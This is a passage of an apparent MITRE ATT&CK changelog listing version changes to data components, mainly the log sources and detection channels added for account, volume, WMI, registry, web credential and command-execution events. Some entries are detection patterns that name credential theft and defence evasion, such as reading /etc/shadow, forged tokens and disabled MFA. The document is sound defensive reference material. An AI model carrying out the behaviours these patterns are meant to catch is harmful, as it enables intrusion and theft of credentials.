'EventCode=4769'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4625'}, {'name': 'azure:signinlogs', 'channel': 'Interactive/Non-Interactive Sign-In'}, {'name': 'AWS:CloudTrail', 'channel': 'AWS IAM: ListUsers, ListRoles'}, {'name': 'gcp:workspaceaudit', 'channel': 'Token Generation via Domain Delegation'}, {'name': 'm365:signinlogs', 'channel': 'Unusual sign-in from service principal to user mailbox'}, {'name': 'macos:unifiedlog', 'channel': 'User credential prompt events without associated trusted installer package'}, {'name': 'linux:auth', 'channel': 'sshd login'}, {'name': 'saas:googleworkspace', 'channel': 'Accessed third-party credential management service'}, {'name': 'azure:signinlogs', 'channel': 'Reset password or download key from portal'}, {'name': 'linux:syslog', 'channel': 'SSH failed login'}, {'name': 'macos:unifiedlog', 'channel': 'Login failure / authorization denied'}, {'name': 'azure:signinlogs', 'channel': 'status = failure'}, {'name': 'Okta:authn', 'channel': 'authentication_failure'}, {'name': 'saas-app:auth', 'channel': 'login_failure'}, {'name': 'networkdevice:syslog', 'channel': 'AAA, RADIUS, or TACACS authentication'}, {'name': 'kubernetes:apiserver', 'channel': 'authentication.k8s.io/v1beta1'}, {'name': 'm365:exchange', 'channel': 'Logon failure'}, {'name': 'AWS:CloudTrail', 'channel': 'eventName=ConsoleLogin | eventType=AwsConsoleSignIn'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4625, 4624'}, {'name': 'auditd:USER_LOGIN', 'channel': 'USER_AUTH'}, {'name': 'azure:signinlogs', 'channel': 'Sign-in logs'}, {'name': 'macos:unifiedlog', 'channel': 'auth'}, {'name': 'm365:unified', 'channel': 'Sign-in logs'}, {'name': 'AWS:CloudTrail', 'channel': 'ConsoleLogin or AssumeRole'}, {'name': 'esxi:auth', 'channel': '/var/log/auth.log'}, {'name': 'networkdevice:syslog', 'channel': 'authentication logs'}, {'name': 'azure:signinlogs', 'channel': 'SigninSuccess'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4625, 4771, 4648'}, {'name': 'linux:syslog', 'channel': 'Failed password for invalid user'}, {'name': 'macos:unifiedlog', 'channel': 'Login Window and Authd errors'}, {'name': 'azure:signinlogs', 'channel': 'Failure Reason + UserPrincipalName'}, {'name': 'saas:okta', 'channel': 'authentication_failure'}, {'name': 'networkdevice:syslog', 'channel': 'AAA or TACACS authentication failures'}, {'name': 'kubernetes:audit', 'channel': 'Failed login'}, {'name': 'm365:exchange', 'channel': 'FailedLogin'}, {'name': 'saas:auth', 'channel': 'signin_failed'}, {'name': 'saas:googleworkspace', 'channel': 'login with reused session token and mismatched user agent or IP'}, {'name': 'saas:googleworkspace', 'channel': 'Access via OAuth credentials with unusual scopes or from anomalous IPs'}, {'name': 'networkdevice:syslog', 'channel': 'authentication & authorization'}, {'name': 'WinEventLog:Security', 'channel': '4624, 4625'}, {'name': 'azure:signinlogs', 'channel': 'Sign-in activity'}, {'name': 'AWS:CloudTrail', 'channel': 'ConsoleLogin, AssumeRole, ListAccessKeys, CreateUser'}, {'name': 'gcp:audit', 'channel': 'drive.activity'}, {'name': 'gcp:audit', 'channel': 'login.event'}, {'name': 'linux:syslog', 'channel': 'sshd[pid]: Failed password'}, {'name': 'macos:unifiedlog', 'channel': 'authd'}, {'name': 'networkdevice:syslog', 'channel': 'login failed'}, {'name': 'GCPAuditLogs:login.googleapis.com', 'channel': 'Failed sign-in events'}, {'name': 'esxi:auth', 'channel': 'SSH session/login'}, {'name': 'WinEventLog:Security', 'channel': 'EventID=4625'}, {'name': 'NSM:Connections', 'channel': 'sshd or PAM logins'}, {'name': 'saas:okta', 'channel': 'Sign-in logs / audit events'}, {'name': 'gcp:audit', 'channel': 'Sign-in logs / audit events'}, {'name': 'azure:signinlogs', 'channel': 'Sign-in logs / audit events'}, {'name': 'kubernetes:audit', 'channel': 'authentication.k8s.io'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4648'}, {'name': 'linux:syslog', 'channel': 'authentication and authorization events during environmental validation phase'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:09:42.067000+00:002025-10-21 15:14:34.948000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.22.0

[DC0014] User Account Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0014', 'external_id': 'DC0014'}]
x_mitre_log_sources[{'name': 'WinEventLog:Security', 'channel': 'EventCode=4720'}, {'name': 'azure:audit', 'channel': 'Add user'}, {'name': 'AWS:CloudTrail', 'channel': 'CreateUser'}, {'name': 'saas:zoom', 'channel': 'New user created'}, {'name': 'saas:slack', 'channel': 'admin.user.create'}, {'name': 'm365:unified', 'channel': 'Add user'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4720, EventCode=4781'}, {'name': 'auditd:SYSCALL', 'channel': 'adduser'}, {'name': 'docker:daemon', 'channel': 'ExecCreate + usermod or useradd'}, {'name': 'auditd:SYSCALL', 'channel': 'useradd or adduser executed'}, {'name': 'networkdevice:syslog', 'channel': 'username privilege '}, {'name': 'saas:okta', 'channel': 'user.lifecycle.create'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:09:54.515000+00:002025-10-21 15:14:34.784000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0009] User Account Deletion

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0009', 'external_id': 'DC0009'}]
x_mitre_log_sources[{'name': 'WinEventLog:Security', 'channel': 'EventCode=4726, 4657'}, {'name': 'esxi:hostd', 'channel': 'method=RemoveUser or esxcli system account remove invocation'}, {'name': 'm365:unified', 'channel': 'Remove-Mailbox, Set-Mailbox'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:09:57.711000+00:002025-10-21 15:14:36.864000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0013] User Account Metadata

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0013', 'external_id': 'DC0013'}]
x_mitre_log_sources[{'name': 'WinEventLog:Security', 'channel': 'EventCode=4720, 4738'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4673'}, {'name': 'AWS:CloudTrail', 'channel': 'AssumeRole'}, {'name': 'auditd:SYSCALL', 'channel': 'open,openat,read'}, {'name': 'macos:MDM', 'channel': 'profiles -P|getaccountpolicies'}, {'name': 'AWS:CloudTrail', 'channel': 'GetAccountPasswordPolicy'}, {'name': 'azure:audit', 'channel': "operation contains 'Get*Password*Policy' OR 'List*Authentication*Policy' OR 'Get-ADDefaultDomainPasswordPolicy'"}, {'name': 'm365:unified', 'channel': "Workload=AzureActiveDirectory OR Exchange AND (Operation=Cmdlet AND Parameters contains 'Password' AND (CmdletName='Get-*' OR CmdletName='Get-OrganizationConfig'))"}, {'name': 'saas:auth', 'channel': 'Refresh token issuance or refresh token usage from new IPs or user agents'}, {'name': 'gcp:audit', 'channel': 'Directory API Access: users.list or groups.list'}, {'name': 'CloudTrail:GetCallerIdentity', 'channel': 'GetCallerIdentity'}, {'name': 'vpxd.log', 'channel': 'vCenter Management'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of user account with UID <500'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4674'}, {'name': 'windows:osquery', 'channel': 'User enumeration with creation/last modified timestamps'}, {'name': 'linux:osquery', 'channel': 'Listing of /etc/passwd and /etc/shadow metadata'}, {'name': 'saas:okta', 'channel': 'User lifecycle events'}, {'name': 'Microsoft Entra ID Audit Logs', 'channel': 'RoleManagement.Read.Directory or Directory.Read.All'}, {'name': 'azure:activity', 'channel': 'Azure CLI Operation: Microsoft.Graph/users/read'}, {'name': 'gcp:audit', 'channel': 'IAM API call: serviceAccounts.list or projects.getIamPolicy'}, {'name': 'Microsoft Graph API Logs', 'channel': 'users.list, directoryObjects.getByIds'}, {'name': 'Defender for Identity', 'channel': 'Suspicious Enumeration of Cloud Directory'}, {'name': 'Google Admin Audit', 'channel': 'users.list, groups.list'}, {'name': 'AWS:CloudTrail', 'channel': 'PassRole'}, {'name': 'gcp:iam', 'channel': 'PrincipalEmail with serviceAccountTokenCreator impersonating new identity'}, {'name': 'AWS:CloudTrail', 'channel': 'AssumeRole: Discovery actions tied to assumed identities outside of normal context'}, {'name': 'saas:okta', 'channel': 'User Enumeration Events'}, {'name': 'gcp:audit', 'channel': 'Directory API Access'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:49:17.060000+00:002025-10-21 15:14:38.578000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0

[DC0010] User Account Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0010', 'external_id': 'DC0010'}]
x_mitre_log_sources[{'name': 'azure:audit', 'channel': 'Operation IN ("Add device", "Add registered users to device", "Add registered owner to device")'}, {'name': 'WinEventLog:DirectoryService', 'channel': 'EventID 5136'}, {'name': 'linux:syslog', 'channel': 'sudo or su access prior to content change'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4738, 4728, 4670'}, {'name': 'auditd:SYSCALL', 'channel': 'usermod, groupmod, passwd'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.accountsd, com.apple.opendirectoryd'}, {'name': 'saas:okta', 'channel': 'User Attribute Modified / Role Assignment Changed'}, {'name': 'm365:unified', 'channel': 'Admin Activity > Role Change or Sharing Change'}, {'name': 'gcp:audit', 'channel': 'Admin Activity > Role Change or Sharing Change'}, {'name': 'm365:unified', 'channel': 'Set-ADUser OR Set-ADAccountControl'}, {'name': 'AWS:CloudTrail', 'channel': 'UpdateLoginProfile'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4723, 4724, 4726, 4740'}, {'name': 'saas:okta', 'channel': 'user.lifecycle.delete, user.account.lock'}, {'name': 'm365:unified', 'channel': 'User excluded from MFA or MFA method registered'}, {'name': 'saas:zoom', 'channel': 'DisableMFA or RegisterNewFactor'}, {'name': 'AWS:CloudTrail', 'channel': 'AttachUserPolicy, CreatePolicyVersion, PutRolePolicy'}, {'name': 'gcp:audit', 'channel': 'google.iam.admin.v1.RoleAssignment'}, {'name': 'm365:audit', 'channel': 'Add member to role, Add app role assignment'}, {'name': 'Okta:SystemLog', 'channel': 'user.account.privilege.grant'}, {'name': 'm365:unified', 'channel': 'Add member to role, Set-Mailbox'}, {'name': 'm365:unified', 'channel': 'Set-MailboxAuditBypassAssociation or disabling Advanced Auditing'}, {'name': 'm365:unified', 'channel': 'New agent registration by non-admin user'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4704'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4728, 4729, 4732, 4733, 4756, 4757'}, {'name': 'auditd:SYSCALL', 'channel': 'SYSCALL for usermod or /etc/group file modification'}, {'name': 'macos:unifiedlog', 'channel': 'Process execution or directory service changes'}, {'name': 'azure:policy', 'channel': 'DisableMfaPolicy or change to ConditionalAccess rules'}, {'name': 'azure:audit', 'channel': 'Add member to role'}, {'name': 'AWS:CloudTrail', 'channel': 'AttachUserPolicy'}, {'name': 'AWS:CloudTrail', 'channel': 'CreateAccessKey'}, {'name': 'azure:signinLogs', 'channel': 'unusual role assumption or elevation path'}, {'name': 'saas:okta', 'channel': 'admin role granted outside approved workflows'}, {'name': 'AWS:CloudTrail', 'channel': 'role privilege expansion detected'}, {'name': 'm365:unified', 'channel': 'Add-MailboxPermission, UpdateFolderPermissions'}, {'name': 'gcp:audit', 'channel': 'Set Gmail Delegation'}, {'name': 'auditd:SYSCALL', 'channel': 'usermod, or account rename system calls'}, {'name': 'azure:audit', 'channel': 'Rename user'}, {'name': 'm365:unified', 'channel': 'Set-Mailbox, Set-InboxRule, Set-MailboxFolderPermission'}, {'name': 'azure:audit', 'channel': 'Add service principal credentials, app password added, app role assignment'}, {'name': 'gcp:audit', 'channel': 'iam.serviceAccounts.keys.create, os-login.sshPublicKeys.add'}, {'name': 'gcp:audit', 'channel': 'API Key Created, OAuth Client Registered'}, {'name': 'kubernetes:audit', 'channel': 'create or update events for RoleBinding or ClusterRoleBinding objects'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:09:51.231000+00:002025-10-21 15:14:36.735000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0097] Volume Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0097', 'external_id': 'DC0097'}]
x_mitre_log_sources[{'name': 'AWS:CloudTrail', 'channel': 'CreateVolume'}, {'name': 'WinEventLog:Microsoft-Windows-VSS', 'channel': 'Volume Shadow Copy Creation'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--b0b6d26f-3747-4444-ac7a-239a6ff80cb5
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:17:19.083000+00:002025-10-21 15:14:39.832000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0098] Volume Deletion

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0098', 'external_id': 'DC0098'}]
x_mitre_log_sources[{'name': 'esxi:vmkernel', 'channel': 'file delete|datastore purge'}, {'name': 'AWS:CloudTrail', 'channel': 'DeleteVolume, ModifyVolume'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--b0b6d26f-3747-4444-ac7a-239a6ff80cb5
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:17:25.575000+00:002025-10-21 15:14:38.711000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0095] Volume Enumeration

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0095', 'external_id': 'DC0095'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--b0b6d26f-3747-4444-ac7a-239a6ff80cb5
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:49:47.887000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0

[DC0100] Volume Metadata

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0100', 'external_id': 'DC0100'}]
x_mitre_log_sources[{'name': 'WinEventLog:Security', 'channel': '4673, 4674'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--b0b6d26f-3747-4444-ac7a-239a6ff80cb5
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:49:38.106000+00:002025-10-21 15:14:38.841000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0

[DC0092] Volume Modification

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0092', 'external_id': 'DC0092'}]
x_mitre_log_sources[{'name': 'kubernetes:apiserver', 'channel': 'Pod spec with hostPath or privileged securityContext'}, {'name': 'AWS:CloudTrail', 'channel': 'ModifyVolume'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--b0b6d26f-3747-4444-ac7a-239a6ff80cb5
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:49:35.774000+00:002025-10-21 15:14:39.109000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0

[DC0008] WMI Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0008', 'external_id': 'DC0008'}]
x_mitre_log_sources[{'name': 'WinEventLog:WMI', 'channel': 'Creation or modification of __EventFilter, __FilterToConsumerBinding, or CommandLineEventConsumer'}, {'name': 'WinEventLog:Microsoft-Windows-WMI-Activity/Operational', 'channel': 'EventCode=5861'}, {'name': 'WinEventLog:Application', 'channel': 'WMI Object Creation Events'}, {'name': 'WinEventLog:WMI', 'channel': 'EventCode=5857, 5858'}, {'name': 'WinEventLog:Microsoft-Windows-WMI-Activity/Operational', 'channel': 'EventCode=5857, 5860, 5861'}, {'name': 'WinEventLog:WMI', 'channel': 'EventCode=5857, 5860, 5861'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--2cd6cc81-d86e-4595-a4f0-43f5519f14e6
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:16:25.136000+00:002025-10-21 15:14:35.880000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0006] Web Credential Creation

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0006', 'external_id': 'DC0006'}]
x_mitre_log_sources[{'name': 'WinEventLog:ADFS', 'channel': 'Token issuance events showing anomalous claims or issuers'}, {'name': 'AWS:CloudTrail', 'channel': 'AssumeRole, GetFederationToken API calls by unusual or new entities'}, {'name': 'azure:signinLogs', 'channel': 'SAML/OIDC tokens issued without corresponding MFA or password validation'}, {'name': 'm365:unified', 'channel': 'Session creation without MFA or login event'}, {'name': 'm365:oauth', 'channel': 'OAuth grants or tokens issued without expected user consent'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--1e26f222-e27e-4bfa-830c-fa4b4f18b5e4
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:49:08.104000+00:002025-10-21 15:14:38.777000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0

[DC0007] Web Credential Usage

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0007', 'external_id': 'DC0007'}]
x_mitre_log_sources[{'name': 'AWS:CloudTrail', 'channel': 'SessionToken used without preceding MFA or login event'}, {'name': 'm365:unified', 'channel': 'SessionId reused from different device/browser fingerprint'}, {'name': 'AWS:CloudTrail', 'channel': 'AssumeRoleWithSAML'}, {'name': 'saas:access', 'channel': 'SAML token accepted without preceding login challenge'}, {'name': 'm365:exchange', 'channel': 'Mailbox access using SAML token without corresponding MFA event'}, {'name': 'AWS:CloudTrail', 'channel': 'GetSessionToken, AssumeRoleWithWebIdentity'}, {'name': 'macos:unifiedlog', 'channel': 'New session initiated using cookies without normal MFA or password validation'}, {'name': 'm365:unified', 'channel': 'Session activity without correlated login event'}, {'name': 'AWS:CloudTrail', 'channel': 'AssumeRole, GetFederationToken, GetSessionToken'}, {'name': 'azure:signinlogs', 'channel': 'TokenIssued, RefreshTokenUsed'}, {'name': 'saas:googleworkspace', 'channel': 'OAuthTokenGranted, APIRequest'}, {'name': 'm365:unified', 'channel': 'OAuthTokenIssued, FileAccessed, MailItemsAccessed'}, {'name': 'kubernetes:apiserver', 'channel': 'serviceAccount token used in API requests not tied to workload identity'}, {'name': 'NSM:Connections', 'channel': 'Pre-authentication keys generated or token signing anomalies'}, {'name': 'macos:unifiedlog', 'channel': 'Web sessions initiated with newly forged tokens'}, {'name': 'saas:auth', 'channel': 'API requests made with tokens not associated with expected user logins'}, {'name': 'azure:signinLogs', 'channel': 'TokenIssuanceStart, TokenIssuanceSuccess'}, {'name': 'saas:googleworkspace', 'channel': 'access_token issued'}, {'name': 'm365:unified', 'channel': 'TokenIssued, FileAccessed'}, {'name': 'AWS:CloudTrail', 'channel': 'GetCallerIdentity'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--1e26f222-e27e-4bfa-830c-fa4b4f18b5e4
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:48:47.351000+00:002025-10-21 15:14:37.480000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0

[DC0050] Windows Registry Key Access

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0050', 'external_id': 'DC0050'}]
x_mitre_log_sources[{'name': 'WinEventLog:Security', 'channel': 'EventCode=4656'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4657'}, {'name': 'EDR:hunting', 'channel': 'Behavioral rule for registry enumeration under credential-related paths'}, {'name': 'Autoruns:RegistryScan', 'channel': 'Enumerate Winlogon subkeys for unknown or unsigned binaries'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:12:12.634000+00:002025-10-21 15:14:39.242000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0056] Windows Registry Key Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0056', 'external_id': 'DC0056'}]
x_mitre_log_sources[{'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=12'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:12:09.376000+00:002025-10-21 15:14:37.143000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0045] Windows Registry Key Deletion

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0045', 'external_id': 'DC0045'}]
x_mitre_log_sources[{'name': 'Windows Registry', 'channel': 'None'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:12:03.268000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0063] Windows Registry Key Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0063', 'external_id': 'DC0063'}]
x_mitre_log_sources[{'name': 'Windows Registry', 'channel': 'None'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=13'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4657'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=14'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4670'}, {'name': 'WinEventLog:Sysmon', 'channel': 'StubPath value written under HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components'}, {'name': 'm365:unified', 'channel': 'MacroSecuritySettingsChanged or SafeModeDisabled'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=13, 14'}, {'name': 'WinEventLog:Security', 'channel': 'modification to Winlogon registry keys such as Shell, Notify, or Userinit'}, {'name': 'WinEventLog:Security', 'channel': 'Registry key modification HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient\\EnableMulticast'}, {'name': 'macos:unifiedlog', 'channel': 'g_CiOptions modification or SIP state change'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Autoruns reports DLLs in AppInit_DLLs key'}]
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:11:59.993000+00:002025-10-22 18:34:46.572000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0
x_mitre_data_source_refx-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0

mobile-attack

Major Version Changes

[DC0112] API Calls

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0112', 'external_id': 'DC0112'}]
x_mitre_log_sources[{'name': 'Application Vetting', 'channel': 'None'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--e156f007-c5bf-45cc-8dd5-d442ffb0d203
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:22:21.246000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0

[DC0119] Application Assets

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0119', 'external_id': 'DC0119'}]
x_mitre_log_sources[{'name': 'Application Vetting', 'channel': 'None'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--e156f007-c5bf-45cc-8dd5-d442ffb0d203
values_changed
STIX FieldOld valueNew Value
modified2024-03-29 14:59:30.164000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0

[DC0064] Command Execution

Current version: 2.0

Version changed from: 1.2 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0064', 'external_id': 'DC0064'}]
x_mitre_log_sources[{'name': 'Command', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of realmd, samba-tool, or ldapmodify with user-related arguments'}, {'name': 'macos:unifiedlog', 'channel': 'dsconfigad or dscl with create or append options for AD-bound users'}, {'name': 'EDR:AMSI', 'channel': 'None'}, {'name': 'linux:syslog', 'channel': '/var/log/syslog or journalctl'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Get-ADTrust|GetAllTrustRelationships'}, {'name': 'gcp:audit', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of script interpreters by systemd timer (ExecStart)'}, {'name': 'AWS:CloudTrail', 'channel': 'InvokeFunction'}, {'name': 'm365:unified', 'channel': 'Automated forwarding or file sync initiated by a logic app'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4104'}, {'name': 'linux:syslog', 'channel': 'Suspicious script or command execution targeting browser folders'}, {'name': 'esxi:shell', 'channel': 'snapshot create/copy, esxcli'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Commands like systemctl stop , service stop, or kill -9 '}, {'name': 'macos:unifiedlog', 'channel': 'launchctl unload, kill, or pkill commands affecting daemons or background services'}, {'name': 'macos:unifiedlog', 'channel': 'execution of security-agent detection or enumeration commands'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Execution of Microsoft script to enumerate custom forms in Outlook mailbox'}, {'name': 'm365:messagetrace', 'channel': 'Inbound email triggers execution of mailbox-stored custom form'}, {'name': 'auditd:EXECVE', 'channel': "Use of mv or cp to rename files with '.' prefix"}, {'name': 'macos:unifiedlog', 'channel': 'Execution of chflags hidden or SetFile -a V'}, {'name': 'esxi:shell', 'channel': 'interactive shell'}, {'name': 'networkdevice:cli', 'channel': 'CLI command'}, {'name': 'macos:unifiedlog', 'channel': 'log stream'}, {'name': 'esxi:vmkernel', 'channel': '/var/log/vmkernel.log'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls to locale, timedatectl, or cat /etc/timezone'}, {'name': 'macos:unifiedlog', 'channel': 'defaults read -g AppleLocale, systemsetup -gettimezone'}, {'name': 'macos:unifiedlog', 'channel': 'profiles install -type=configuration'}, {'name': 'auditd:SYSCALL', 'channel': 'sleep function usage or loops (nanosleep, usleep) in scripts'}, {'name': 'm365:unified', 'channel': 'Search-Mailbox, Get-MessageTrace, eDiscovery requests'}, 